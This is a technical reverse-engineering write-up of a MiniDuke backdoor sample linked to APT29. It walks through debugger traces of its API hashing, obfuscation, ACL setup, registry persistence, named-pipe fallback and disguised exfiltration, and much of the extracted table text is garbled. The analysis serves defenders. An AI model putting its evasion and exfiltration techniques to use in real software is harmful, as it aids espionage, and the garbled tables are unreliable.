# How to defeat the Russian Dukes: A step-by-step analysis of MiniDuke used by APT29/Cozy Bear

cybergeeks.tech/how-to-defeat-the-russian-dukes-a-step-by-step-analysis-of-miniduke-used-by-apt29-cozy-bear/

#### Summary

APT29/Cozy Bear is a Russian actor that has been associated with Russia's Foreign Intelligence Service (SVR). The US government has blamed this actor for the SolarWinds supply chain compromise operation, as described at

https://media.defense.gov/2021/Apr/15/2002621240/-1/-1/0/CSA\_SVR\_TARGETS\_US\_ALLI ES\_UOO13234021.PDF/CSA\_SVR\_TARGETS\_US\_ALLIES\_UOO13234021.PDF.

MiniDuke is a backdoor written in pure assembly that was previously documented by ESET at <u>https://www.welivesecurity.com/wp-</u>

<u>content/uploads/2019/10/ESET\_Operation\_Ghost\_Dukes.pdf</u> and Kaspersky at <u>https://securelist.com/miniduke-is-back-nemesis-gemina-and-the-botgen-studio/64107/,</u> however, this sample is the most recent one (June 2019) that we're aware of and hasn't been documented before. This malware is pretty obfuscated (control-flow flattening) and implements multiple methods of data exfiltration, such as using POST and PUT HTTP methods in the case of sending data to the C2 server or using a named pipe in the case of no Internet connectivity. The backdoor implements 37 different functions that can be visualized below (some of these are similar/identical and were skipped):



# Analyst: @GeeksCyber

Technical analysis

SHA256: 6057b19975818ff4487ee62d5341834c53ab80a507949a52422ab37c7c46b7a1

The malware uses the SetUnhandledExceptionFilter function in order to set the exception filter function to a particular function:

|  | • 00423C37          | 68 60 3D 42 00 | push apt29.423D60  |             |   |              |  |  |  |
|--|---------------------|----------------|--|-------------|---|--------------|--|--|--|
| EIP  |                     | E8 EF C3 FF FF | call <apt29.setunhandledexceptionfilter></apt29.setunhandledexceptionfilter> | >           | Default (stdcall)   | ▼ 5 € Unlock |  |  |  |
| <apt29.5< td=""><td>etUnhandledExceptic</td><td>onFilter&gt;</td><td></td><td></td><td>1: [esp] 00423D60 apt29.<br/>2: [esp+4] 740EC870 msv0<br/>3: [esp+8] 4EBFADFA<br/>4: [esp+C] FFFFFFE</td><td>Crt.740EC870</td></apt29.5<> | etUnhandledExceptic | onFilter>      |  |             | 1: [esp] 00423D60 apt29.<br>2: [esp+4] 740EC870 msv0<br>3: [esp+8] 4EBFADFA<br>4: [esp+C] FFFFFFE | Crt.740EC870 |  |  |  |
|  |                     |                | a a Manutia Interna (1) (1) (1)  | 0084FF38 00 | 423D60 apt29.00423D60   |              |  |  |  |

The process retrieves the content of the STARTUPINFO structure by calling the GetStartupInfoA routine, as shown below:

| • 0041686   | 5 50                       | push eax   |              |   |
|---|----------------------------|--|--------------|---|
| ■10<br>● 0043 (68)<br><   | G ES FS EF FF FF           | call <apt29.getstartupintoa></apt29.getstartupintoa> | *            | Default (stdcall) - 5 - Unlod   |
| <apt29.getstartupinfoa><br/>.text:004168E6 apt29.ex</apt29.getstartupinfoa> | e:\$168E6 #15CE6           |  |              | 1: [csp] 0034FEC8<br>2: [csp+4] B79017A4<br>3: [csp+8] 0084FF18<br>4: [csp+C] 004168DD apt29.004168DD |
| till Dumo 1 till Dumo 3   | Millione a Millione A Mill | Duran C. Martinet Instruction (B. Chart              | 0084FEA0 008 | 4FEC8   |

# Figure 2

A new thread is created by the malicious file using the CreateThread API:

|   | <ul> <li>004030A/</li> <li>004030B/</li> <li>004030B/</li> <li>004030C/</li> <li>004030C/</li> <li>004030C/</li> <li>004030C/</li> <li>004030C/</li> </ul> | C7 4<br>C7 4<br>C7 4<br>C7 4<br>C7 4<br>C7 4<br>C7 4<br>C7 4 | 4 24 14 00<br>4 24 10 00<br>4 24 0C 00<br>4 24 08 D0<br>4 24 04 00<br>4 24 00 00 | 00 00 00<br>00 00 00<br>36 40 00<br>00 00 00<br>00 00 00 | mov dword ptr<br>mov dword ptr<br>mov dword ptr<br>mov dword ptr<br>mov dword ptr<br>mov dword ptr   | ss: esp+<br>ss: esp+<br>ss: esp+<br>ss: esp+<br>ss: esp+<br>ss: esp+<br>ss: esp | 14.0<br>10.0<br>0<br>8.,apt29.4036D0<br>4.0<br>0 |   |                          | ×8<br>×8<br>×8 | 7StatusWord 0000<br>7SW_B 0 x87SW_C3<br>7SW_C1 0 x87SW_C0<br>7SW_SF 0 x87SW_P | 0 x875W_C2<br>0 x875W_E5<br>0 x875W_U | 0<br>0<br>0 |
|---|--|--|--|--|--|---|--|---|--------------------------|----------------|---|---------------------------------------|-------------|
| EIP   | →• 00403009  | E8 7   | A 47 02 00   |  | call <apt29.0< th=""><th>CreateThre</th><th>ad&gt;</th><th></th><th></th><th>Y Defa</th><th>sult (stdcall)</th><th>•</th><th>5 CUnlock</th></apt29.0<> | CreateThre  | ad>  |   |                          | Y Defa         | sult (stdcall)  | •                                     | 5 CUnlock   |
| <apt29.creat.text:00403< th=""><th>009 apt29.exe</th><th>:\$30D9 #24</th><th>4D 9</th><th></th><th></th><th></th><th></th><th></th><th></th><th>2:<br/>3:<br/>4:</th><th>[esp+4] 00000000<br/>[esp+8] 004036D0 a<br/>[esp+C] 00000000</th><th>pt29.004036D0</th><th></th></apt29.creat.text:00403<> | 009 apt29.exe  | :\$30D9 #24  | 4D 9   |  |  |   |  |   |                          | 2:<br>3:<br>4: | [esp+4] 00000000<br>[esp+8] 004036D0 a<br>[esp+C] 00000000                    | pt29.004036D0                         |             |
| Ump 1   | Dump 2   | Dump 3   | Ump 4  | Dump 5   | 🛞 Watch 1  | x=  Locals  | 2 Struct   |   | 0084FE60 0               | 000000         | 0   |                                       |             |
| Address   He  | ex   |  |  |  | ASCII  | 1   |  | 1 | 0084FE68 0               | 040360         | 0 apt29.004036D0  |                                       |             |
| 0084FEC8 4  | 00 00 00 B8<br>0 00 00 00 00   | 3A 87 02 00 00 00 00 00 00 00 00 00 00 00 00                 | 00 DB 87 02  | 00 00 00 00 00   | 0  | .Øw   |  |   | 0084FE70 0<br>0084FE74 0 | 0000000        | 0   |                                       |             |
| <b>C</b> :  | 0  |  |  |  |  |   |  |   |                          |                |   |                                       |             |

# Figure 3

# Thread activity – sub\_4036D0

As mentioned by ESET at <u>https://www.welivesecurity.com/wp-</u>

<u>content/uploads/2019/10/ESET\_Operation\_Ghost\_Dukes.pdf</u>, the backdoor has added a lot of obfuscation that consists of control-flow flattening (every function is split in a switch/case, and a lot of computation that is useless for the main execution flow is added):



# Figure 4

Figure 5 presents an example of an instruction that jumps to a place where a lot of useless computation occurs. We've added NOP operations in place of the jump and patched the binary:



The binary forces the system not to display the Windows Error Reporting dialog (0x2 = **SEM\_NOGPFAULTERRORBOX**):



#### Figure 6

The kernel32.dll, advapi32.dll and winninet.dll DLLs are loaded into the address space using the LoadLibraryA routine:

| • 004052A4  | C7 04 24 AC F7 43 00 | mov dword ptr ss: esp, apt29.43F7AC | mov dword ptr ss:[esp],apt29.43F7AC [word |  |  |  |  |  |  |
|---|----------------------|-------------------------------------|---|--|--|--|--|--|--|
| C102246   | ES A0 08 01 00       | can sapes, coade for aryas          | >   | Default (stdcall)  |  |  |  |  |  |
| <apt29.loadlibrarya> .text:004052AB apt29.exe:\$</apt29.loadlibrarya> | 52AB #46AB           |                                     |   | 1: [esp+4] 0000000<br>3: [esp+8] 0000000<br>4: [esp+6] 0000000 |  |  |  |  |  |
| fill Dump 1 fill Dump 2 fill  | na linna linna       | - F Manual + Instructs () Faces     | 049C9908 00                               | 43F7AC   "kernel32.dll"  |  |  |  |  |  |

# Figure 7

The functions that will be used during the execution are located using a hashing mechanism. Basically, for each function name from a DLL, the malware computes a 4-byte value that is compared with a hard-coded one:



#### Figure 8

The following APIs belong to the targeted list: GetProcAddress, GetLongPathNameA, GetLastError, CreateProcessWithLogonW, CryptAcquireContextW, CryptGenRandom, InternetOpenA, InternetConnectA, InternetSetOptionA, HttpOpenRequestA, HttpSendRequestA, HttpQueryInfoA, InternetReadFile, InternetCloseHandle, HttpAddRequestHeadersA. The hashing function is displayed below:

| .text:004245DB<br>.text:004245DB<br>.text:004245DB<br>.text:004245DB<br>.text:004245E3<br>.text:004245E3<br>.text:004245E6<br>.text:004245E8<br>.text:004245E0<br>.text:004245E9<br>.text:004245E7<br>.text:004245F4<br>.text:004245F7<br>.text:004245F6<br>.text:004245F6<br>.text:004245F6 | loc_424<br>and<br>mov<br>mov<br>mov<br>sx<br>mov<br>or<br>ror<br>xor<br>inc<br>mov<br>test<br>jnz | 45DB:<br>esi, 0FFFFFF00h<br>edx, esi<br>eax, [ebp+arg_0]<br>al, [eax]<br>eax, al<br>esi, edx<br>esi, eax<br>esi, 7<br>edi, esi<br>[ebp+arg_0]<br>eax, [ebp+arg_0]<br>al, [eax]<br>al, al<br>short loc_4245DB | Figure 9 |
|--|---|--|----------|
|  |   |  |          |

The CryptAcquireContextW API is utilized to get a handle to a key container within a CSP (cryptographic service provider). The function call is presented in figure 10 (0x1 = **PROV\_RSA\_FULL**, 0xF0000040 = **CRYPT\_VERIFYCONTEXT** | **CRYPT\_SILENT**):



#### Figure 10

AllocateAndInitializeSid is used to allocate and initialize a SID with one subauthority:

|   | 0041361B<br>0041361C<br>0041361C<br>00413620<br>00413620<br>00413624<br>00413624<br>00413624<br>00413624<br>00413624<br>00413624<br>00413624<br>00413622<br>0041362E<br>00413631 | 50<br>6A 00<br>6A 00<br>6A 00<br>6A 00<br>6A 00<br>6A 00<br>6A 00<br>6A 00<br>6A 00<br>6A 01<br>8D 45 EE<br>50   | push eax<br>push 0<br>push 0<br>push 0<br>push 0<br>push 0<br>push 0<br>push 0<br>push 0<br>push 1<br>lea eax,dword ptr ss:[ebp-12]<br>push eax |  |   | x87Tagword FFFF<br>x87Tw_0 3 (Empty) x87Tw_1 3 (Empty)<br>x87Tw_2 3 (Empty) x87Tw_5 3 (Empty)<br>x87Tw_4 3 (Empty) x87Tw_5 3 (Empty)<br>x87Tw_6 3 (Empty) x87Tw_7 3 (Empty)<br>x87StatusWord 0000<br>x87Sw_8 0 x87Sw_C 3 0 x87Sw_C 2 0<br>x87Sw_1 0 x87Sw_C 0 0 x87Sw_C 2 0<br>x87Sw_5 0 x87Sw_P 0 x87Sw_U 0 |
|---|--|--|---|--|---|--|
| <apt29.allocate<br>.text:00413632</apt29.allocate<br>   | <pre>candInitialize apt29.exe:\$13</pre>   | sid>   |   |  | ,   | Default (stdcall) ▼ 5 ↓ Unlock<br>11 [esp] 0490388 5<br>21 [esp+4] 00000001<br>21 [esp+6] 00000000<br>21 [esp+6] 00000000  |
| Ump 1   | Dump 2   | ump 3 📲 Dump 4 👹 Dump 9  | 💮 Watch 1 🛛 🕸 🖉 St  | ruct 049C  | 9848 049C<br>984C 0000  | 988E<br>0001   |
| Address         Hex           049C98BE         00         00           049C98DE         9D         04           049C98DE         00         00           049C99BE         9D         04           049C99DE         00         00           049C99DE         00         00 | 00 00 00 01 0<br>00 99 9C 04 A<br>00 00 00 00 0<br>CC FF 9D 04 E<br>80 FF 9D 04 0<br>00 00 00 00 00<br>00 00 00 00 0   | 0         00 </td <td>ASCII<br/>ASCII<br/></td> <td>04900<br/>04900<br/>04900<br/>04900<br/>04900<br/>04900<br/>04900<br/>04900<br/>04900<br/>04900</td> <td>9850 0000<br/>9854 0000<br/>9858 0000<br/>985C 0000<br/>9860 0000<br/>9864 0000<br/>9868 0000<br/>9866 0000<br/>9866 0000</td> <td>0000<br/>0000<br/>0000<br/>0000<br/>0000<br/>0000<br/>0000<br/>0000</td> | ASCII<br>ASCII<br>  | 04900<br>04900<br>04900<br>04900<br>04900<br>04900<br>04900<br>04900<br>04900<br>04900 | 9850 0000<br>9854 0000<br>9858 0000<br>985C 0000<br>9860 0000<br>9864 0000<br>9868 0000<br>9866 0000<br>9866 0000 | 0000<br>0000<br>0000<br>0000<br>0000<br>0000<br>0000<br>0000   |

# Figure 11

The file creates a new ACL using the SetEntriesInAclA routine (0x2 = **SET\_ACCESS**):

|  | <ul> <li>00413687</li> <li>00413688</li> <li>0041368A</li> <li>0041368D</li> <li>0041368D</li> <li>0041368E</li> </ul> | 50<br>6A 00<br>8D 45 C4<br>50<br>6A 01 | push eax<br>push 0<br>lea eax,dwor<br>push eax<br>push 1  | d ptr ss:   | tbp-3C   |                        |       | x8/Statusword 0000<br>x87Sw_B 0 x87Sw_C3 0<br>x87Sw_C1 0 x87Sw_C0 0<br>x87Sw_SF 0 x87Sw_P 0 | x875W_C2 0<br>x875W_ES 0<br>x875W_U 0 |         |
|--|--|--|---|-------------|----------|------------------------|-------|---|---------------------------------------|---------|
| EIP  | > 00413690   | E8 03 26 00 00                         | call <apt29.< th=""><th>SetEntries:</th><th>INACIA&gt;</th><th></th><th>~</th><th>Defe It (at an</th><th>- 6</th><th>•</th></apt29.<> | SetEntries: | INACIA>  |                        | ~     | Defe It (at an  | - 6                                   | •       |
|  | <  |  |   |             |          |                        | >     | Default (stdcall)   |                                       | Unlocke |
| <apt29.set< td=""><td>EntriesInAclA&gt;</td><td>13690 #12A90</td><td></td><td></td><td></td><td></td><td></td><td>1: [esp+4] 049C9894<br/>3: [esp+8] 0000000<br/>4: [esp+C] 049C9884</td><td></td><td></td></apt29.set<> | EntriesInAclA>   | 13690 #12A90                           |   |             |          |                        |       | 1: [esp+4] 049C9894<br>3: [esp+8] 0000000<br>4: [esp+C] 049C9884                            |                                       |         |
| Dump 1   | Dump 2   | Dump 3 💭 Dump 4                        | 🕮 Dump 5 🛛 🛞 Watch 1  | [x=] Locals | 2 Struct | 04909868               | 0000  | 0001  |                                       |         |
| Address  | Hex  | 00 00 00 00 00 00                      | ASCII   |             |          | ^ 049C9870<br>049C9874 | 00000 | 9884  |                                       |         |

#### Figure 12

A new security descriptor is initialized by the malicious process (0x1 = **SECURITY\_DESCRIPTOR\_REVISION**):

| • 004136<br>• 004136  |                   | 6A 01<br>50    | push 1<br>push eax  |                              | x875W_SF 0 x875W_P 0 x875W_U 0                                    |                |  |  |  |  |
|---|-------------------|----------------|---|------------------------------|---|----------------|--|--|--|--|
| EIP   | 004136BE<br><     | E8 75 C9 00 00 | <pre>call <apt29. initializesecuritydescriptor=""></apt29.></pre> | · · · · ·                    | Default (stdcal)<br>1: [esp] 028748F0                             | ▼ 5 🗘 🗌 Unlock |  |  |  |  |
| <apt29.111< th=""><th>36BE apt29.exe:\$</th><th>136BE #12ABE</th><th></th><th></th><th>2: [esp+4] 00000001<br/>3: [esp+8] 00000000<br/>4: [esp+C] 049C9884</th><th></th></apt29.111<> | 36BE apt29.exe:\$ | 136BE #12ABE   |   |                              | 2: [esp+4] 00000001<br>3: [esp+8] 00000000<br>4: [esp+C] 049C9884 |                |  |  |  |  |
| Dump 1  | Dump 2            | Dump 3 Dump 4  | 📖 Dump 5   👹 Watch 1 🛛 💷 Locals 🖉 Struct                          | 049C9868 028<br>049C986C 000 | 3748F0<br>000001  |                |  |  |  |  |

#### Figure 13

The malware sets information in a DACL (discretionary access control list) using the SetSecurityDescriptorDacl API:

| 004136D9 6A 00     004136D8 52     004136DC 6A 01     004136DE 50  | push 0<br>push edx<br>push 1<br>push eax  |                                    | x875w_B 0 x875w_C3 0 x875w_C2 0<br>x875w_C1 0 x875w_C0 0 x875w_E5 0<br>x875w_SF 0 x875w_P 0 x875w_U 0 |
|--|---|------------------------------------|---|
| CONTRACT     CONTRACT     E8 10 1D FF FF     <   | <pre>call <apt29.setsecuritydescriptordacl></apt29.setsecuritydescriptordacl></pre>   | >                                  | Default (stdcall) - 5 🗘 🗌 Unlocke   |
| <pre><apt29.setsecuritydescriptordacl> .text:004136DF apt29.exe:\$136DF #12ADF</apt29.setsecuritydescriptordacl></pre>             |   |                                    | 2: [esp+4] 0000001<br>3: [esp+8] 02877248<br>4: [esp+C] 0000000                                       |
| Ump 1 Ump 2 Ump 3 Ump 4 Ump 5  | Watch 1 [x=] Locals   | 8 0287-<br>C 0000                  | 48F0<br>0001  |
| Address Hex<br>02877248 02 00 1C 00 01 00 00 00 00 00 14 00 00 00 10 C<br>02877258 01 01 00 00 00 00 00 01 00 00 00 00 AB AB AB AB | ASCII | 0 0287<br>4 0000<br>8 3130<br>0490 | 7248 0000 03030 0800  |

The following relevant strings are written into memory and will be used later on:

| Address  | He | <  |    |    |    |    |    |    | 144.83 |    |    |    |    |    |    |    | ASCII            |           |
|----------|----|----|----|----|----|----|----|----|--------|----|----|----|----|----|----|----|------------------|-----------|
| 049C9B17 | 5C | 5C | 5C | 70 | 69 | 70 | 65 | 5C | 44     | 65 | 66 | 50 | 69 | 70 | 65 | 00 | \\pipe\DefPipe.  |           |
| Address  | He | <  |    |    |    |    |    |    |        |    |    |    |    |    |    |    | ASCII            | -igura 1E |
| 049CA1FF | 2D     | 2D | 2D | 2D | 2D | 2D | 4A | 69 | Ji               | -igure is |
| 049CA20F | 4D | 39 | 74 | 38 | 67 | 37 | 6A | 38 | 4B     | 6F | 4A | 6B | 4C | 4A | 6C | 4B | M9t8g7j8KoJkLJlK |           |
| 049CA21F | 71 | 6B | 61 | 38 | 64 | 62 | 6F | 37 | 71     | 35 | 7A | 34 | 76 | 35 | 75 | 33 | qka8dbo7q5z4v5u3 |           |
| 049CA22F | 6F | 34 | 7A | 00 | 00 | 00 | 00 | 00 | 00     | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 04z              |           |

CryptGenRandom is utilized to generate 16 random bytes. The first 15 bytes are encoded using the Base64 algorithm:

|   | <ul> <li>00424AA9</li> <li>00424AAD</li> <li>00424AB5</li> </ul> | 89 54<br>C7 44<br>89 04 | 24 08<br>24 04 10<br>24  | 00 00 00                   | mov dword pt<br>mov dword pt<br>mov dword pt | ss: esp+<br>ss: esp+<br>ss: esp | 8,edx<br>4,10<br>,eax |      |                      | X                    | 375W_C1 0<br>375W_SF 0                    | x875W_C0<br>x875W_P                            | 0 x875W_E    | 5 0  |        |
|---|--|-------------------------|--------------------------|----------------------------|--|---------------------------------|-----------------------|------|----------------------|----------------------|---|--|--------------|------|--------|
| EIP   | 004224455  | FF DI                   | ar                       |                            | call ecx                                     |                                 |                       |      | ecx:cr v             | Det                  | fault (stdcall)                           | )  |              | - 5  | Cunlod |
| ecx= <advap< th=""><th>24AB8 apt29.exe:</th><th>dom&gt; (73A<br/>\$24AB8 #2</th><th>61290)<br/>3E88</th><th></th><th></th><th></th><th></th><th></th><th></th><th>1:<br/>2:<br/>3:<br/>4:</th><th>[esp] 0:<br/>[esp+4]<br/>[esp+8]<br/>[esp+C]</th><th>2876CF0 &lt;&amp;C<br/>00000010<br/>049C9753<br/>FFFFFFE</th><th>PAcquireCont</th><th>ext&gt;</th><th></th></advap<> | 24AB8 apt29.exe:   | dom> (73A<br>\$24AB8 #2 | 61290)<br>3E88           |                            |  |                                 |                       |      |                      | 1:<br>2:<br>3:<br>4: | [esp] 0:<br>[esp+4]<br>[esp+8]<br>[esp+C] | 2876CF0 <&C<br>00000010<br>049C9753<br>FFFFFFE | PAcquireCont | ext> |        |
| Dump 1  | Dump 2   | Dump 3                  | Dump 4                   | Dump 5                     | 💮 Watch 1                                    | [x=] Locals                     | 3 Struct              | 0490 | 9728 028<br>972C 000 | 76C                  | F0<br>10                                  |  |              |      |        |
| Address H   | Hex  |                         |                          |                            | ASCII  |                                 |                       | 0490 | 9730 049             | C 97                 | \$3                                       |  |              |      |        |
| 049C9753  | 27 2D CE CA 32 6   | 6 06 28 6               | A OE 41 4A               | 30 42 32 AC                | '-162f.+j.A                                  | 1082-                           |                       |      |                      |                      |   |  |              |      |        |
| Address   H   | нех  |                         |                          |                            | ASCII  |                                 |                       |      |                      |                      |   |  |              |      |        |
| 049C9793 4<br>049C97A3 4  | 4A 79 33 4F 79 6<br>4D 45 49 79 00 4                             | A 4A 6D 4               | 2 69 74 71<br>D FE FF FF | 44 68 46 48<br>FF 2A 7D AB | MEIy.D.p%by                                  | qDkFK<br>yy <sup>±</sup> }≪     |                       |      |                      |                      |   |  |              |      |        |

#### Figure 16

The binary writes the file signature of JPEG in the JFIF format into the memory. These bytes will be used in data exfiltration, as we'll describe in the following paragraphs:

| Address  | ldress Hex |     |     |     |     |     |    |     |    |    |     |    |    |    |    | ASCII  |     | Figure 17 |
|--|------------|-----|-----|-----|-----|-----|----|-----|----|----|-----|----|----|----|----|--------|-----|-----------|
| 049CA6F  | F FF D8    | FF  | EO  | 00  | 10  | 4A  | 46 | 49  | 46 | 00 | 01  | 01 | 01 | 00 | 48 | ÿØÿàJ  | FIF |           |
| The process creates the "Software\Microsoft\ApplicationManager" registry key using the |            |     |     |     |     |     |    |     |    |    |     |    |    |    |    |        |     |           |
| RegCrea  | ateKey     | A A | ٩PI | (0x | 800 | 000 | 00 | 1 = | H  | KE | Y_0 | CU | RR | EN | Т_ | USER): |     |           |

|   | <ul> <li>0041C577</li> <li>0041C57B</li> <li>0041C583</li> </ul> | 89 44 24 08<br>C7 44 24 04 F8 ED 43<br>C7 04 24 01 00 00 80 | mov dword ptr ss: esp+8, eax<br>mov dword ptr ss: esp+4, apt29, 43EDF8<br>mov dword ptr ss: esp],80000001 | [word                        | x87SW_C1 0 x87SW_C0<br>x87SW_SF 0 x87SW_P                            | 0 x875W_ES 0<br>0 x875W_U 0 |
|---|--|---|---|------------------------------|--|-----------------------------|
| EIP   | 0041C58A   | E8 31 7A 00 00  | call <apt29.regcreatekeya></apt29.regcreatekeya>  | > ×                          | Default (stdcall)  | ▼ 5 🗘 Unlock                |
| <apt29.r< th=""><th>egCreateKeyA&gt;<br/>41C58A apt29.exe:\$1</th><th>LC58A #1898A</th><th></th><th></th><th>2: [esp+4] 0043EDF8 "S<br/>3: [esp+8] 049C9888<br/>4: [esp+C] 00000014</th><th>Software\\Microsoft\\Applic</th></apt29.r<> | egCreateKeyA><br>41C58A apt29.exe:\$1                            | LC58A #1898A  |   |                              | 2: [esp+4] 0043EDF8 "S<br>3: [esp+8] 049C9888<br>4: [esp+C] 00000014 | Software\\Microsoft\\Applic |
| Ump 🕼   | 1 🚺 Dump 2   | Dump 3 🛛 👹 Dump 4 🖉 👹 D                                     | mp 5 👹 Watch 1 🛛 🕼 Locals 🎾 Struct  | 049C9888 800<br>049C988C 004 | 000001<br>43EDF8 "Software\\Micros                                   | soft\\ApplicationManager"   |

#### Figure 18

A new value called "AppID" is created under the above registry key. This value is computed using the output of a GetTickCount function call:

|  | <ul> <li>0041C589</li> <li>0041C5BD</li> <li>0041C5C0</li> <li>0041C5C4</li> <li>0041C5C7</li> <li>0041C5C7</li> <li>0041C5C8</li> <li>0041C5D3</li> <li>0041C5D8</li> </ul> | 89 54 24 14<br>80 55 EC<br>89 54 24 10<br>80 55 F0<br>89 54 24 0C<br>C7 44 24 08 00 00 00<br>C7 44 24 04 1E EE 43<br>89 04 24 | mov dword ptr ss:<br>lea edx,dword ptr<br>mov dword ptr ss:<br>lea edx,dword ptr<br>mov dword ptr ss:<br>0 mov dword ptr ss:<br>mov dword ptr ss:<br>mov dword ptr ss: | esp+14],edx<br>s:[ebp-14]<br>esp+10],edx<br>s:[ebp-10]<br>esp+0],edx<br>esp+0],edx<br>esp+0],apt29.43EELE<br>esp1,eax | D        | word               | x87TW_6 3 (Empty) x8<br>x87TW_6 3 (Empty) x8<br>x87SW_8 0 x87SW_C3<br>x87SW_C1 0 x87SW_C3<br>x87SW_C1 0 x87SW_C9<br>x87SW_5 0 x87SW_0 | 0 x87SW_C2 0<br>0 x87SW_ES 0<br>0 x87SW_ES 0<br>0 x87SW_E 0 |
|--|--|---|--|---|----------|--------------------|---|---|
| <apt29.rep0< th=""><th></th><th>E8 E5 08 01 00</th><th>Carr capt29.Regue</th><th>ryvatuetxas</th><th></th><th>&gt;</th><th>Default (stdcall)<br/>1: [esp] 000001B0</th><th>▼ 5 🗘 Unlock</th></apt29.rep0<> |  | E8 E5 08 01 00  | Carr capt29.Regue  | ryvatuetxas   |          | >                  | Default (stdcall)<br>1: [esp] 000001B0  | ▼ 5 🗘 Unlock  |
| .text:00410  | C5DE apt29.exe:\$1   | LC5DE #189DE  |  |   |          |                    | 3: [esp+8] 0000000<br>4: [esp+C] 049C98C0   | pp10  |
| Ump 1  | Dump 2   | Dump 3 📲 Dump 4 👹 D   | mp 5 🛛 🛞 Watch 1 🛛 💷 Lo  | cals 🖉 Struct   | 049098   | SS 0000            | 001B0<br>SEE1E "AppID"  |   |
| Address   He   | ex   |   | ASCII  |   | ^ 049C98 | 390 0000           | 00000   |   |
| 00441AB8 00<br>00441AC8 00   | 0 00 00 00 00 00 00<br>0 00 00 00 BC 1B  | 00 00 D4 FA FF FF 00 00<br>43 00 C8 FA FF FF 00 00  | 00 00  |   | 049098   | 98 0490<br>9C 0490 | C98BC<br>C98C4  |   |
| Address He<br>049C988C AB  | ex<br>E 40 41 AF 04 00   | 00 00 04 00 00 00 00 00   | ASCII<br>00 00 00 00 AT  |   |          |                    |   |   |

Figure 19

There are 2 more calls to the GetTickCount routine (it retrieves the number of milliseconds that elapsed since the system was started):

| ł |   | 0042473E | E8 E9 E9 FD FF | call <apt29.gettickcount></apt29.gettickcount>            |        |
|---|---|----------|----------------|---|--------|
| ł |   | 00424743 | 89 03          | mov dword ptr ds:[ebx].eax                                | eax:"\ |
|   | • | 00424745 | 8A 45 F3       | mov al.byte ptr ss: [ebp-D]                               |        |
|   | • | 00424748 | 88 45 F7       | mov byte ptr ss: [ebp-9],a]                               |        |
|   | • | 0042474B | 8A 45 F6       | mov al, byte ptr ss:[ebp-A]                               |        |
| 1 |   | 0042474E | 88 45 F3       | mov byte ptr ss: ebp-D, al                                |        |
|   | • | 00424751 | 8A 45 F7       | mov al, byte ptr ss:[ebp-9]                               |        |
|   | • | 00424754 | 88 45 F6       | mov byte ptr ss:[ebp-A],a]                                |        |
|   | • | 00424757 | 8A 45 F4       | mov al, byte ptr ss:[ebp-C]                               |        |
|   | • | 0042475A | 88 45 F7       | mov byte ptr ss:[ebp-9],al                                |        |
|   | • | 0042475D | 8A 45 F5       | mov al, byte ptr ss:[ebp-B]                               |        |
|   | • | 00424760 | 88 45 F4       | mov byte ptr ss:[ebp-C],al                                |        |
|   | • | 00424763 | 8A 45 F7       | mov al, byte ptr ss:[ebp-9]                               |        |
| 1 | • | 00424766 | 88 45 F5       | mov byte ptr ss:[ebp-B],al                                |        |
|   | • | 00424769 | E8 BE E9 FD FF | <pre>call <apt29.gettickcount></apt29.gettickcount></pre> |        |
|   |   |          |                |   |        |

# Figure 20

One of the outputs from above is transformed and written into a buffer, along with the "AppID" value. This buffer will be encrypted using a custom algorithm that also includes the XOR operator:

| EIP<br>0041FFE<br>0041FFF2<br>0041FFF5<br>0041FFF5<br>0041FFF5<br>0041FFF5<br>0041FFF5<br>0041FFF5<br>0041FFF5<br>0041FFF5<br>0041FFF5<br>00420004<br>00420004<br>00420000<br>00420010 | 88 55 08<br>88 45 F4<br>80 1C 02<br>88 55 08<br>88 45 F4<br>01 D0<br>8A 00<br>25 FF 00 00 00 00<br>88 95 04 FF FF FF<br>83 EC 0C<br>50<br>89 D1<br>E8 EB 01 00 00 | <pre>mov edx,dword ptr ss:[ebp+8] mov eax,dword ptr ss:[ebp-C] lea ebx,dword ptr ds:[edx+eax] mov edx,dword ptr ss:[ebp+8] mov eax,dword ptr ss:[ebp-C] add eax,edx mov al,byte ptr ds:[eax] and eax,FF mov edx,dword ptr ss:[ebp-FC] sub esp,C push eax mov ecx,edx call apt29.420200</pre> |  |
|--|---|--|--|
| a]=1C  |   |  | >                                      |
| <pre>byte ptr [eax]=[0288031C]= .text:0041FFFD apt29.exe:\$</pre>  | B<br>1FFFD #1F3FD   |  |  |
| Dump 1 Dump 2  | Dump 3 💭 Dump 4 💭 Du  | Imp 5 🛞 Watch 1 [x=] Locals 🖉 Struct   | 049C9658 0<br>049C965C 0<br>049C9660 0 |
| 0288031C 08 4D 08 F0 AE 40<br>0288032C 00 00 00 00 1E 00   | 41 AF 00 00 00 00 00 00 00<br>00 00 00 00 00 00   | 00 00 .M.ð9@A  | 049C9664 0<br>049C9668 0<br>049C9666 4 |

# Figure 21

The encryption algorithm and the result of the above operation are highlighted in figure 22:



The backdoor initializes the use of the WinINet functions using the InternetOpenA API with a particular user agent:

| EIP  | <ul> <li>00413C6A</li> <li>00413C72</li> <li>00413C7A</li> <li>00413C82</li> <li>00413C8A</li> <li>00413C8D</li> <li>4</li> </ul>  | C7 44 24 10 0<br>C7 44 24 0C 0<br>C7 44 24 08 0<br>C7 44 24 04 0<br>89 04 24<br>FF D2  | 0 00 00 00<br>0 00 00 00<br>0 00 00 00<br>0 00 00  | mov dword ptr<br>mov dword ptr<br>mov dword ptr<br>mov dword ptr<br>mov dword ptr<br>call edx                        | \$5: esp+1<br>55: esp+6<br>55: esp+6<br>55: esp+6<br>55: esp | 101,0<br>,0<br>,0<br>,eax | [e   | sp]:<br>x:If v   | x875<br>x875<br>x875<br>x875<br>Default                     | tatusWo<br>W_B 0<br>W_C1 0<br>W_SF 0<br>(stdcall) | 43COAO "M                               | oz 11 | x875W_C2<br>x875W_E5<br>x875W_U | 0<br>0<br>0<br>• 5 • Unloc |
|--|--|--|--|--|--|---------------------------|--|--|---|---|---|-------|---------------------------------|----------------------------|
| .text:00413  | CSD apt29.exe:   | A> (71737500)<br>\$13C8D #1308D  |  |  |  |                           |  |  | 2: [0<br>3: [0<br>4: [0                                     | esp+4]<br>esp+8]<br>esp+C]                        | 000000000000000000000000000000000000000 |       |                                 |                            |
| Ump 1  | Ump 2  | Dump 3 📲 Dump  | t 💷 Dump 5   | 🛞 Watch 1  | [x=] Locals  | 2 Struct                  | 049095   | 50 004<br>50 000   | BC0A0   | "Mozil  | 1a/5.0 (W                               | indo  | WS NT 6.1                       | ; WOW64) Apple             |
